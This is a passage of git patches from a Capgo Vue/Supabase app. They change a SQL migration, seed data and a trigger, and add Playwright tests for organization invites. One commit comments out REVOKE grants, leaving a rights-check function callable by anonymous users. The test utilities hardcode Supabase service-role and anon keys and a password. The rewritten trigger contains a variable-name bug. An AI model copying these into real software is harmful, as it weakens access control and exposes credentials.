 import { useI18n } from 'vue-i18n'
 import { Capacitor } from '@capacitor/core'
-import { isDark, toggleDark } from '../../composables/dark'
 import { useMainStore } from '~/stores/main'
 import { getCurrentPlanName } from '~/services/supabase'
 import { openMessenger } from '~/services/chatwoot'

From 75d177fc80c0174d3e47d8c3ded4b1f5705e4055 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Mon, 2 Oct 2023 05:55:02 +0200
Subject: [PATCH 45/96] dark fix

---
 src/composables/dark.ts | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/composables/dark.ts b/src/composables/dark.ts
index 0f8d4a6739..9862bd5671 100644
--- a/src/composables/dark.ts
+++ b/src/composables/dark.ts
@@ -1,6 +1,6 @@
 import { useDark, useToggle } from '@vueuse/core'
 
-const isDark = useDark()
+const isDark = true
 const toggleDark = useToggle(isDark)
 
 export {

From 3bdac728f30c33651fa49784dffe8322cc07ff89 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Wed, 8 Nov 2023 06:34:01 +0100
Subject: [PATCH 46/96] Fixes part 1

---
 supabase/migrations/20230815171919_base.sql |  6 +++---
 supabase/seed.sql                           | 18 +++++++++++-------
 2 files changed, 14 insertions(+), 10 deletions(-)

diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index 121e667499..ca0530436d 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -3329,9 +3329,9 @@ GRANT EXECUTE ON FUNCTION public.remove_enum_value(enum_type regtype, enum_value
 GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO PUBLIC;
 GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO anon;
 GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO authenticated;
-REVOKE EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) FROM PUBLIC;
-REVOKE EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) FROM anon;
-REVOKE EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) FROM authenticated;
+-- REVOKE EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) FROM PUBLIC;
+-- REVOKE EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) FROM anon;
+-- REVOKE EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) FROM authenticated;
 GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO postgres;
 
 REVOKE EXECUTE ON FUNCTION public.count_all_apps() FROM PUBLIC;
diff --git a/supabase/seed.sql b/supabase/seed.sql
index 75ffed1e51..f2a857b90d 100644
--- a/supabase/seed.sql
+++ b/supabase/seed.sql
@@ -1,6 +1,7 @@
 INSERT INTO "auth"."users" ("instance_id", "id", "aud", "role", "email", "encrypted_password", "email_confirmed_at", "invited_at", "confirmation_token", "confirmation_sent_at", "recovery_token", "recovery_sent_at", "email_change_token_new", "email_change", "email_change_sent_at", "last_sign_in_at", "raw_app_meta_data", "raw_user_meta_data", "is_super_admin", "created_at", "updated_at", "phone", "phone_confirmed_at", "phone_change", "phone_change_token", "phone_change_sent_at", "email_change_token_current", "email_change_confirm_status", "banned_until", "reauthentication_token", "reauthentication_sent_at") VALUES
 ('00000000-0000-0000-0000-000000000000', 'c591b04e-cf29-4945-b9a0-776d0672061a', 'authenticated', 'authenticated', 'admin@capgo.app', '$2a$10$I4wgil64s1Kku/7aUnCOVuc1W5nCAeeKvHMiSKk10jo1J5fSVkK1S', now(), now(), 'oljikwwipqrkwilfsyto', now(), '', NULL, '', '', NULL, now(), '{"provider": "email", "providers": ["email"]}', '{"activation": {"legal": true, "formFilled": true, "optForNewsletters": true, "enableNotifications": true}}', 'f', now(), now(), NULL, NULL, '', '', NULL, '', 0, NULL, '', NULL),
-('00000000-0000-0000-0000-000000000000', '6aa76066-55ef-4238-ade6-0b32334a4097', 'authenticated', 'authenticated', 'test@capgo.app', '$2a$10$0CErXxryZPucjJWq3O7qXeTJgN.tnNU5XCZy9pXKDWRi/aS9W7UFi', now(), now(), 'oljikwwipqrkwilfsyty', now(), '', NULL, '', '', NULL, now(), '{"provider": "email", "providers": ["email"]}', '{"activation": {"legal": true, "formFilled": true, "optForNewsletters": true, "enableNotifications": true}}', 'f', now(), now(), NULL, NULL, '', '', NULL, '', 0, NULL, '', NULL);
+('00000000-0000-0000-0000-000000000000', '6aa76066-55ef-4238-ade6-0b32334a4097', 'authenticated', 'authenticated', 'test@capgo.app', '$2a$10$0CErXxryZPucjJWq3O7qXeTJgN.tnNU5XCZy9pXKDWRi/aS9W7UFi', now(), now(), 'oljikwwipqrkwilfsyty', now(), '', NULL, '', '', NULL, now(), '{"provider": "email", "providers": ["email"]}', '{"activation": {"legal": true, "formFilled": true, "optForNewsletters": true, "enableNotifications": true}}', 'f', now(), now(), NULL, NULL, '', '', NULL, '', 0, NULL, '', NULL),
+('00000000-0000-0000-0000-000000000000', '6f0d1a2e-59ed-4769-b9d7-4d9615b28fe5', 'authenticated', 'authenticated', 'test2@capgo.app', '$2a$10$0CErXxryZPucjJWq3O7qXeTJgN.tnNU5XCZy9pXKDWRi/aS9W7UFi', now(), now(), 'oljikwwipqrkwilfsytt', now(), '', NULL, '', '', NULL, now(), '{"provider": "email", "providers": ["email"]}', '{"activation": {"legal": true, "formFilled": true, "optForNewsletters": true, "enableNotifications": true}}', 'f', now(), now(), NULL, NULL, '', '', NULL, '', 0, NULL, '', NULL);
 
 select vault.create_secret('c591b04e-cf29-4945-b9a0-776d0672061a', 'admin_user', 'admin user id');
 select vault.create_secret('http://172.17.0.1:54321', 'db_url', 'db url');
@@ -70,15 +71,18 @@ INSERT INTO "storage"."buckets" ("id", "name", "owner", "created_at", "updated_a
 
 INSERT INTO "public"."stripe_info" ("created_at", "updated_at", "subscription_id", "customer_id", "status", "product_id", "trial_at", "price_id", "is_good_plan", "plan_usage", "subscription_metered", "subscription_anchor_start", "subscription_anchor_end") VALUES
 (now(), '2023-03-21 03:04:42.120379+00', 'free', 'cus_Lo5enUbshix5u5', NULL, 'free', now() + interval '15 days', NULL, 't', 2, '{}', now(), now() + interval '1 months'),
-(now(), '2023-03-21 03:04:42.120379+00', 'free', 'cus_Lo5enUbshix5u7', NULL, 'free', now() + interval '15 days', NULL, 't', 2, '{}', now(), now() + interval '1 months');
+(now(), '2023-03-21 03:04:42.120379+00', 'free', 'cus_Lo5enUbshix5u7', NULL, 'free', now() + interval '15 days', NULL, 't', 2, '{}', now(), now() + interval '1 months'),
+(now(), '2023-03-21 03:04:42.120379+00', 'free', 'cus_Lo5enUbshix5u8', NULL, 'free', now() + interval '15 days', NULL, 't', 2, '{}', now(), now() + interval '1 months');
 
 INSERT INTO "public"."users" ("created_at", "image_url", "first_name", "last_name", "country", "email", "id", "updated_at", "enableNotifications", "optForNewsletters", "legalAccepted", "customer_id", "billing_email") VALUES
 ('2022-06-03 05:54:15+00', '', 'admin', 'Capgo', NULL, 'admin@capgo.app', 'c591b04e-cf29-4945-b9a0-776d0672061a', '2023-03-21 01:00:01.707314+00', 'f', 'f', 'f', 'cus_Lo5enUbshix5u5', NULL),
-('2022-06-03 05:54:15+00', '', 'test', 'Capgo', NULL, 'test@capgo.app', '6aa76066-55ef-4238-ade6-0b32334a4097', '2023-03-21 01:00:01.707314+00', 'f', 'f', 'f', 'cus_Lo5enUbshix5u7', NULL);
+('2022-06-03 05:54:15+00', '', 'test', 'Capgo', NULL, 'test@capgo.app', '6aa76066-55ef-4238-ade6-0b32334a4097', '2023-03-21 01:00:01.707314+00', 'f', 'f', 'f', 'cus_Lo5enUbshix5u7', NULL),
+('2022-06-03 05:54:15+00', '', 'test2', 'Capgo', NULL, 'test2@capgo.app', '6f0d1a2e-59ed-4769-b9d7-4d9615b28fe5', '2023-03-21 01:00:01.707314+00', 'f', 'f', 'f', 'cus_Lo5enUbshix5u8', NULL);
 
 INSERT INTO "public"."orgs" ("id", "created_by", "created_at", "updated_at", "logo", "name") VALUES
 ('22dbad8a-b885-4309-9b3b-a09f8460fb6d', 'c591b04e-cf29-4945-b9a0-776d0672061a', '2022-03-07 14:08:28.910887+00', '2022-03-07 14:08:28.910887+00', '', 'Admin org'),
-('046a36ac-e03c-4590-9257-bd6c9dba9ee8', '6aa76066-55ef-4238-ade6-0b32334a4097', '2022-03-07 14:08:28.910887+00', '2022-03-07 14:08:28.910887+00', '', 'Demo org');
+('046a36ac-e03c-4590-9257-bd6c9dba9ee8', '6aa76066-55ef-4238-ade6-0b32334a4097', '2022-03-07 14:08:28.910887+00', '2022-03-07 14:08:28.910887+00', '', 'Demo org'),
+('34a8c55d-2d0f-4652-a43f-684c7a9403ac', '6f0d1a2e-59ed-4769-b9d7-4d9615b28fe5', '2022-03-07 14:08:28.910887+00', '2022-03-07 14:08:28.910887+00', '', 'Test2 org');
 
 INSERT INTO "public"."apikeys" ("id", "created_at", "user_id", "key", "mode", "updated_at") VALUES
 (911, '2022-07-12 12:06:18.822406+00', '6aa76066-55ef-4238-ade6-0b32334a4097', 'c591b04e-cf29-4945-b9a0-776d0672061a', 'upload', '2022-07-12 12:06:18.822406+00'),
@@ -110,9 +114,9 @@ INSERT INTO "public"."channels" ("id", "created_at", "name", "app_id", "version"
 
 -- INSERT INTO "public"."devices" ("created_at", "updated_at", "device_id", "version", "app_id", "platform", "plugin_version", "os_version", "version_build", "custom_id", "is_prod", "is_emulator") VALUES
 -- (now(), '2023-01-29 08:09:32.324+00', '00009a6b-eefe-490a-9c60-8e965132ae51', 9654, 'com.demo.app', 'android', '4.15.3', '9', '1.223.0', '', 't', 't');
-INSERT INTO "public"."org_users" ("id", "created_at", "updated_at", "user_id", "org_id", "app_id", "channel_id", "user_right") VALUES
-(1, '2022-03-07 14:08:28.910887+00', '2022-03-07 14:08:28.910887+00', 'c591b04e-cf29-4945-b9a0-776d0672061a', '22dbad8a-b885-4309-9b3b-a09f8460fb6d', 'com.demoadmin.app', NULL, 'admin'),
-(2, '2022-03-07 14:08:28.910887+00', '2022-03-07 14:08:28.910887+00', '6aa76066-55ef-4238-ade6-0b32334a4097', '046a36ac-e03c-4590-9257-bd6c9dba9ee8', 'com.demo.app', 22, 'admin');
+-- INSERT INTO "public"."org_users" ("id", "created_at", "updated_at", "user_id", "org_id", "app_id", "channel_id", "user_right") VALUES
+-- (1, '2022-03-07 14:08:28.910887+00', '2022-03-07 14:08:28.910887+00', 'c591b04e-cf29-4945-b9a0-776d0672061a', '22dbad8a-b885-4309-9b3b-a09f8460fb6d', 'com.demoadmin.app', NULL, 'admin'),
+-- (2, '2022-03-07 14:08:28.910887+00', '2022-03-07 14:08:28.910887+00', '6aa76066-55ef-4238-ade6-0b32334a4097', '046a36ac-e03c-4590-9257-bd6c9dba9ee8', 'com.demo.app', 22, 'admin');
 
 INSERT INTO "public"."devices" ("created_at", "updated_at", "device_id", "version", "app_id", "platform", "plugin_version", "os_version", "version_build", "custom_id", "is_prod", "is_emulator") VALUES
 (now(), '2023-01-29 08:09:32.324+00', '00009a6b-eefe-490a-9c60-8e965132ae51', 9654, 'com.demo.app', 'android', '4.15.3', '9', '1.223.0', '', 't', 't');

From f6974ada6324411c1877af80c39d5bab7b92f4cb Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Wed, 8 Nov 2023 15:55:51 +0100
Subject: [PATCH 47/96] Fix noupdate

---
 supabase/migrations/20230815171919_base.sql | 78 +++++----------------
 1 file changed, 18 insertions(+), 60 deletions(-)

diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index ca0530436d..107215c68b 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -1345,8 +1345,11 @@ $$BEGIN
 END;$$;
 
 CREATE OR REPLACE FUNCTION "public"."noupdate"() RETURNS trigger
-   LANGUAGE plpgsql AS
-$$BEGIN
+   LANGUAGE plpgsql AS $$
+DECLARE
+    val RECORD;
+    is_diffrent boolean;
+BEGIN
     -- API key? We do not care
     IF auth.uid() IS NULL THEN
         RETURN NEW;
@@ -1362,67 +1365,22 @@ $$BEGIN
         RETURN NEW;
     END IF;
 
-    IF NEW."id" <> OLD."id" THEN
-        RAISE EXCEPTION 'not allowed id';
-    END IF;
-        IF NEW."name" <> OLD."name" THEN
-        RAISE EXCEPTION 'not allowed name';
-    END IF;
-    IF NEW."app_id" <> OLD."app_id" THEN
-        RAISE EXCEPTION 'not allowed app_id';
-    END IF;
-    IF NEW."created_by" <> OLD."created_by" THEN
-        RAISE EXCEPTION 'not allowed created_by';
-    END IF;
-    IF NEW."public" <> OLD."public" THEN
-        RAISE EXCEPTION 'not allowed public';
-    END IF;
-    IF NEW."disableAutoUpdateUnderNative" <> OLD."disableAutoUpdateUnderNative" THEN
-        RAISE EXCEPTION 'not allowed disableAutoUpdateUnderNative';
-    END IF;
-    IF NEW."enableAbTesting" <> OLD."enableAbTesting" THEN
-        RAISE EXCEPTION 'not allowed enableAbTesting';
-    END IF;
-    IF NEW."enable_progressive_deploy" <> OLD."enable_progressive_deploy" THEN
-        RAISE EXCEPTION 'not allowed enable_progressive_deploy';
-    END IF;
-    IF NEW."secondaryVersionPercentage" <> OLD."secondaryVersionPercentage" THEN
-        RAISE EXCEPTION 'not allowed secondaryVersionPercentage';
-    END IF;
-    IF NEW."disableAutoUpdateToMajor" <> OLD."disableAutoUpdateToMajor" THEN
-        RAISE EXCEPTION 'not allowed disableAutoUpdateToMajor';
-    END IF;
-    IF NEW."ios" <> OLD."ios" THEN
-        RAISE EXCEPTION 'not allowed ios';
-    END IF;
-    IF NEW."android" <> OLD."android" THEN
-        RAISE EXCEPTION 'not allowed android';
-    END IF;
-    IF NEW."allow_device_self_set" <> OLD."allow_device_self_set" THEN
-        RAISE EXCEPTION 'not allowed allow_device_self_set';
-    END IF;
-    IF NEW."allow_emulator" <> OLD."allow_emulator" THEN
-        RAISE EXCEPTION 'not allowed allow_emulator';
-    END IF;
-    IF NEW."allow_dev" <> OLD."allow_dev" THEN
-      RAISE EXCEPTION 'not allowed allow_dev';
-   END IF;
+    for val in
+      select * from json_each_text(row_to_json(NEW))
+    loop
+      -- raise warning '?? % % %', val.key, val.value, format('SELECT (NEW."%s" <> OLD."%s")', val.key, val.key);
+
+      EXECUTE format('SELECT ($1."%s" is distinct from $2."%s")', val.key, val.key) using NEW, OLD
+      INTO is_diffrent;
+
+      IF is_diffrent AND val.key <> 'version' AND val.key <> 'secondVersion' AND key.value <> 'updated_at' THEN
+          RAISE EXCEPTION 'not allowed %', val.key;
+      END IF;
+    end loop;
+
    RETURN NEW;
 END;$$;
 
--- TODO: use auth.uid() instead of passing it as argument for better security
-CREATE OR REPLACE FUNCTION "public"."is_onboarded"("userid" "uuid") RETURNS boolean
-    LANGUAGE "plpgsql" SECURITY DEFINER
-    AS $$
-Begin
-  RETURN (SELECT EXISTS (SELECT 1
-  FROM apps
-  WHERE user_id=userid)) AND (SELECT EXISTS (SELECT 1
-  FROM app_versions
-  WHERE user_id=userid));
-End;
-$$;
-
 CREATE OR REPLACE FUNCTION "public"."is_onboarded"() RETURNS boolean
     LANGUAGE "plpgsql"
     AS $$

From d0db255d00c5c63d9f0e16e8d85fc9cc8e7a6f8f Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Wed, 8 Nov 2023 19:44:07 +0100
Subject: [PATCH 48/96] tests part 1

---
 tests/organization_system.spec.ts        | 51 ++++++++++++++++++++++++
 tests_backend/run_backend_tests.ts       |  1 +
 tests_backend/tests/organization/main.ts | 18 +++++++++
 3 files changed, 70 insertions(+)
 create mode 100644 tests/organization_system.spec.ts
 create mode 100644 tests_backend/tests/organization/main.ts

diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
new file mode 100644
index 0000000000..3355506db9
--- /dev/null
+++ b/tests/organization_system.spec.ts
@@ -0,0 +1,51 @@
+// import type { Page } from '@playwright/test'
+import type { Page } from '@playwright/test'
+import { expect, test } from '@playwright/test'
+import { BASE_URL, beforeEachTest } from './utils'
+
+test.beforeEach(beforeEachTest)
+
+test('test organization invite', async ({ page }) => {
+  // await expect('abc'.length).toBe(3)
+
+  await expect(page.locator('.space-x-3 > div:nth-child(1) > div:nth-child(1)')).toBeVisible()
+  await page.locator('#organization-picker').click()
+
+  const allOrgs = (await page.locator('ul.py-2').all())
+  await expect(allOrgs).toHaveLength(1)
+
+  await page.goto(`${BASE_URL}/dashboard/settings/organization/members`)
+  await getAllMembers(page)
+
+  // For now we do not check name, not the point of this test
+})
+
+async function getAllMembers(page: Page) {
+  await page.waitForTimeout(500)
+
+  const userTable = await page.locator('dl.divide-y')
+  const userTableDivs = await userTable.all()
+  console.log('a')
+
+  const members = await Promise.all(userTableDivs.map(async (el) => {
+    const email = await el.locator('div:nth-child(2)').innerText()
+    const isModifiable = await el.locator('div:nth-child(3) > button:nth-child(1)').isVisible()
+    const isDeletable = await el.locator('div:nth-child(3) > button:nth-child(2)').isVisible()
+    return { email, isModifiable, isDeletable }
+  }))
+
+  console.log('a')
+  // We make the assumption that only 2 channels exist, this is allways true (for now) in CI/CD
+  //   const channelRows = (await userTable.all()).slice(0, 2)
+  //   const failingChannels = await Promise.all(channelRows
+  //     .map(async (el) => {
+  //       const name = await el.locator('th:nth-child(1)').innerHTML()
+  //       const failing = await el.locator('td:nth-child(4)').innerHTML()
+
+//       return {
+//         name,
+//         failing,
+//       }
+//     }),
+//   )
+}
diff --git a/tests_backend/run_backend_tests.ts b/tests_backend/run_backend_tests.ts
index 69ca22e0cb..060b380efa 100644
--- a/tests_backend/run_backend_tests.ts
+++ b/tests_backend/run_backend_tests.ts
@@ -311,6 +311,7 @@ else {
   await runTestsForFolder('./tests_backend/tests/backend', 'backend', firstArg)
   await runTestsForFolder('./tests_backend/tests/cli', 'cli', firstArg)
   await runTestsForFolder('./tests_backend/tests/selectable_disallow', 'selectable_disallow', firstArg)
+  await runTestsForFolder('./tests_backend/tests/organization', 'organization', firstArg)
   Deno.exit(0)
 }
 
diff --git a/tests_backend/tests/organization/main.ts b/tests_backend/tests/organization/main.ts
new file mode 100644
index 0000000000..5cd86be56b
--- /dev/null
+++ b/tests_backend/tests/organization/main.ts
@@ -0,0 +1,18 @@
+import type { RunnableTest, SupabaseType } from '../../utils.ts'
+import { testPlaywright } from '../../utils.ts'
+
+export function getTest(): RunnableTest {
+  return {
+    fullName: 'Test organization system',
+    testWithRedis: false,
+    tests: [{
+      name: 'Test organization system frontend',
+      test: runFrontendTests,
+      timesToExecute: 1,
+    }],
+  }
+}
+
+async function runFrontendTests(backendBaseUrl: URL, supabase: SupabaseType) {
+  await testPlaywright('organization_system.spec.ts', {})
+}

From 34b079af6c88b2e0e18091c5c9a588a5917f91be Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Thu, 9 Nov 2023 05:06:35 +0100
Subject: [PATCH 49/96] Tests part 2

---
 tests/organization_system.spec.ts | 85 ++++++++++++++++++++++---------
 1 file changed, 60 insertions(+), 25 deletions(-)

diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index 3355506db9..e312bee88a 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -1,31 +1,72 @@
 // import type { Page } from '@playwright/test'
 import type { Page } from '@playwright/test'
 import { expect, test } from '@playwright/test'
-import { BASE_URL, beforeEachTest } from './utils'
+import { BASE_URL, beforeEachTest, expectPopout, useSupabase } from './utils'
 
 test.beforeEach(beforeEachTest)
 
-test('test organization invite', async ({ page }) => {
-  // await expect('abc'.length).toBe(3)
+test.describe('Test organization invite', () => {
+  test.beforeAll(async () => {
+    const supabase = await useSupabase()
 
-  await expect(page.locator('.space-x-3 > div:nth-child(1) > div:nth-child(1)')).toBeVisible()
-  await page.locator('#organization-picker').click()
+    const { error } = await supabase.from('org_users')
+      .delete()
+      .eq('user_id', '6f0d1a2e-59ed-4769-b9d7-4d9615b28fe5')
 
-  const allOrgs = (await page.locator('ul.py-2').all())
-  await expect(allOrgs).toHaveLength(1)
+    await expect(error).toBeNull()
+  })
 
-  await page.goto(`${BASE_URL}/dashboard/settings/organization/members`)
-  await getAllMembers(page)
+  test('test invite user to org', async ({ page }) => {
+    // await expect('abc'.length).toBe(3)
+
+    await expect(page.locator('.space-x-3 > div:nth-child(1) > div:nth-child(1)')).toBeVisible()
+    await page.locator('#organization-picker').click()
+
+    const allOrgs = (await page.locator('ul.py-2').all())
+    await expect(allOrgs).toHaveLength(1)
+
+    await page.goto(`${BASE_URL}/dashboard/settings/organization/members`)
+    await getAllMembers(page)
+
+    // For now we do not check name, not the point of this test
+    const members = await getAllMembers(page)
+    await expect(members).toHaveLength(1)
+
+    const member = members[0]
+    await expect(member.email).toBe('test@capgo.app')
+    await expect(member.isDeletable).toBeFalsy()
+    await expect(member.isModifiable).toBeFalsy()
+
+    // Let's invite shall we?
+    await page.click('button.text-white:nth-child(2)')
+    await expect(page.locator('div.rounded-lg:nth-child(1)')).toBeVisible()
+    await expect(page.locator('h3.text-xl')).toHaveText('Insert email of the user you want to invite')
 
-  // For now we do not check name, not the point of this test
+    // Type email and click "invite"
+    await page.fill('#dialog-input-field', 'test2@capgo.app')
+    await page.click('div.p-6:nth-child(3) > button:nth-child(2)')
+    await expect(page.locator('h3.text-xl')).toHaveText('Select user\'s permissions')
+
+    // Click on "read" (TODO: click on all)
+    await page.click('div.p-6:nth-child(3) > button:nth-child(2)')
+    await expectPopout(page, 'Successfully invited user to org')
+
+    // Did we invite?
+    const supabase = await useSupabase()
+    const orgName = await getOrgName(page)
+
+    // const { data, error } = await supabase.from('org_users')
+    //   .select()
+    //   .eq('')
+  })
 })
 
 async function getAllMembers(page: Page) {
+  await page.goto(`${BASE_URL}/dashboard/settings/organization/members`)
   await page.waitForTimeout(500)
 
   const userTable = await page.locator('dl.divide-y')
   const userTableDivs = await userTable.all()
-  console.log('a')
 
   const members = await Promise.all(userTableDivs.map(async (el) => {
     const email = await el.locator('div:nth-child(2)').innerText()
@@ -34,18 +75,12 @@ async function getAllMembers(page: Page) {
     return { email, isModifiable, isDeletable }
   }))
 
-  console.log('a')
-  // We make the assumption that only 2 channels exist, this is allways true (for now) in CI/CD
-  //   const channelRows = (await userTable.all()).slice(0, 2)
-  //   const failingChannels = await Promise.all(channelRows
-  //     .map(async (el) => {
-  //       const name = await el.locator('th:nth-child(1)').innerHTML()
-  //       const failing = await el.locator('td:nth-child(4)').innerHTML()
-
-//       return {
-//         name,
-//         failing,
-//       }
-//     }),
-//   )
+  return members
+}
+
+async function getOrgName(page: Page): Promise<string> {
+  await expect(page.locator('div.mr-2 > div:nth-child(1)')).toBeVisible()
+  const name = await page.locator('#organization-picker').innerText()
+
+  return name
 }

From b09f97356dc2cd58f651c8b561d28eb9f50e8dfd Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Fri, 10 Nov 2023 06:34:52 +0100
Subject: [PATCH 50/96] Supabase admin + finish invite test

---
 tests/organization_system.spec.ts | 41 ++++++++++++++++++++++++------
 tests/selectable_disallow.spec.ts | 20 +--------------
 tests/utils.ts                    | 42 ++++++++++++++++++++++++++++++-
 tests_backend/utils.ts            |  1 +
 4 files changed, 77 insertions(+), 27 deletions(-)

diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index e312bee88a..c427bfa1f5 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -1,13 +1,15 @@
 // import type { Page } from '@playwright/test'
 import type { Page } from '@playwright/test'
 import { expect, test } from '@playwright/test'
-import { BASE_URL, beforeEachTest, expectPopout, useSupabase } from './utils'
+import type { SupabaseType } from './utils'
+import { BASE_URL, beforeEachTest, expectPopout, useSupabase, useSupabaseAdmin } from './utils'
+import type { Database } from '~/types/supabase.types'
 
 test.beforeEach(beforeEachTest)
 
 test.describe('Test organization invite', () => {
   test.beforeAll(async () => {
-    const supabase = await useSupabase()
+    const supabase = await useSupabaseAdmin()
 
     const { error } = await supabase.from('org_users')
       .delete()
@@ -52,12 +54,20 @@ test.describe('Test organization invite', () => {
     await expectPopout(page, 'Successfully invited user to org')
 
     // Did we invite?
-    const supabase = await useSupabase()
-    const orgName = await getOrgName(page)
+    const supabase = await useSupabaseAdmin()
+    const organization = await getOrgDetails(page, supabase)
 
-    // const { data, error } = await supabase.from('org_users')
-    //   .select()
-    //   .eq('')
+    const { data: orgUsers, error } = await supabase.from('org_users')
+      .select(`
+        user_id ( email ),
+        user_right
+      `)
+      .eq('org_id', organization.id)
+
+    await expect(error).toBeNull()
+    await expect(orgUsers).toBeTruthy()
+    await expect(orgUsers).toHaveLength(1) // 1 because owner is not in this list
+    await expect((orgUsers![0].user_id as any).email).toBe('test2@capgo.app')
   })
 })
 
@@ -84,3 +94,20 @@ async function getOrgName(page: Page): Promise<string> {
 
   return name
 }
+
+async function getOrgDetails(page: Page, supabase?: SupabaseType): Promise<Database['public']['Tables']['orgs']['Row']> {
+  if (!supabase)
+    supabase = await useSupabase()
+
+  const orgName = await getOrgName(page)
+
+  const { error, data } = await supabase.from('orgs')
+    .select('*')
+    .eq('name', orgName)
+    .single()
+
+  await expect(error).toBeNull()
+  await expect(data).toBeDefined()
+
+  return data!
+}
diff --git a/tests/selectable_disallow.spec.ts b/tests/selectable_disallow.spec.ts
index a1969703e0..018fe97989 100644
--- a/tests/selectable_disallow.spec.ts
+++ b/tests/selectable_disallow.spec.ts
@@ -1,6 +1,6 @@
 import type { Page } from '@playwright/test'
 import { expect, test } from '@playwright/test'
-import { BASE_URL, beforeEachTest, useSupabase } from './utils'
+import { BASE_URL, beforeEachTest, expectPopout, useSupabase } from './utils'
 
 test.beforeEach(beforeEachTest)
 
@@ -226,24 +226,6 @@ async function checkIfChannelIsValid(channel: string, valid: boolean, page: Page
   await expect(failingChannels.find(el => el.name === channel && el.failing === (valid ? 'no' : 'yes'))).toBeDefined()
 }
 
-async function expectPopout(page: Page, toHave: string) {
-  // Check if the popout has the correct text
-  const popOutLocator = '.k-ios > section:nth-child(4) > ol:nth-child(1) > li:nth-child(1) > div:nth-child(3) > div:nth-child(1)'
-  await expect(page.locator(popOutLocator)).toContainText(toHave)
-
-  // Close all popouts
-  let popOutVisible = true
-  while (popOutVisible) {
-    // Close the popout
-    await page.click('.k-ios > section:nth-child(4) > ol:nth-child(1) > li:nth-child(1) > button:nth-child(1)')
-
-    await page.waitForTimeout(250)
-
-    // Check if the popout is still visible
-    popOutVisible = await page.locator(popOutLocator).isVisible()
-  }
-}
-
 // We have to go around this wierd dev server
 // This is becouse the router is kind of wierd in this dev server (it is not happen in prod)
 // I had to write this like this so it's reiable
diff --git a/tests/utils.ts b/tests/utils.ts
index 400723c007..8184220779 100644
--- a/tests/utils.ts
+++ b/tests/utils.ts
@@ -6,13 +6,18 @@ import type { Database } from '~/types/supabase.types'
 
 const DEFAULT_EMAIL = 'test@capgo.app'
 const DEFAULT_PASSWORD = 'testtest'
-const START_TIMEOUT = 5000
+const START_TIMEOUT = 3000
 
 export const BASE_URL = 'http://localhost:5173'
 
 const defaultSupabaseUrl = 'http://localhost:54321'
 const defaultSupabaseAnonKey = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZS1kZW1vIiwicm9sZSI6ImFub24iLCJleHAiOjE5ODM4MTI5OTZ9.CRXP1A7WOeoJeXxjNni43kdQwgnWNReilDMblYTn_I0'
+const defaultSupabaseServiceKey = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZS1kZW1vIiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImV4cCI6MTk4MzgxMjk5Nn0.EGIM96RAZx35lJzdJsyH-qQwv8Hdp7fsn3W0YpN81IU'
+
 let supaClient: SupabaseClient<Database> = null as any
+let supaClientAdmin: SupabaseClient<Database> = null as any
+
+export type SupabaseType = SupabaseClient<Database>
 
 export async function beforeEachTest({ page }: { page: Page }) {
   // Allow the router to load
@@ -20,6 +25,24 @@ export async function beforeEachTest({ page }: { page: Page }) {
   await page.waitForTimeout(START_TIMEOUT)
 }
 
+export async function expectPopout(page: Page, toHave: string) {
+  // Check if the popout has the correct text
+  const popOutLocator = '.k-ios > section:nth-child(4) > ol:nth-child(1) > li:nth-child(1) > div:nth-child(3) > div:nth-child(1)'
+  await expect(page.locator(popOutLocator)).toContainText(toHave)
+
+  // Close all popouts
+  let popOutVisible = true
+  while (popOutVisible) {
+    // Close the popout
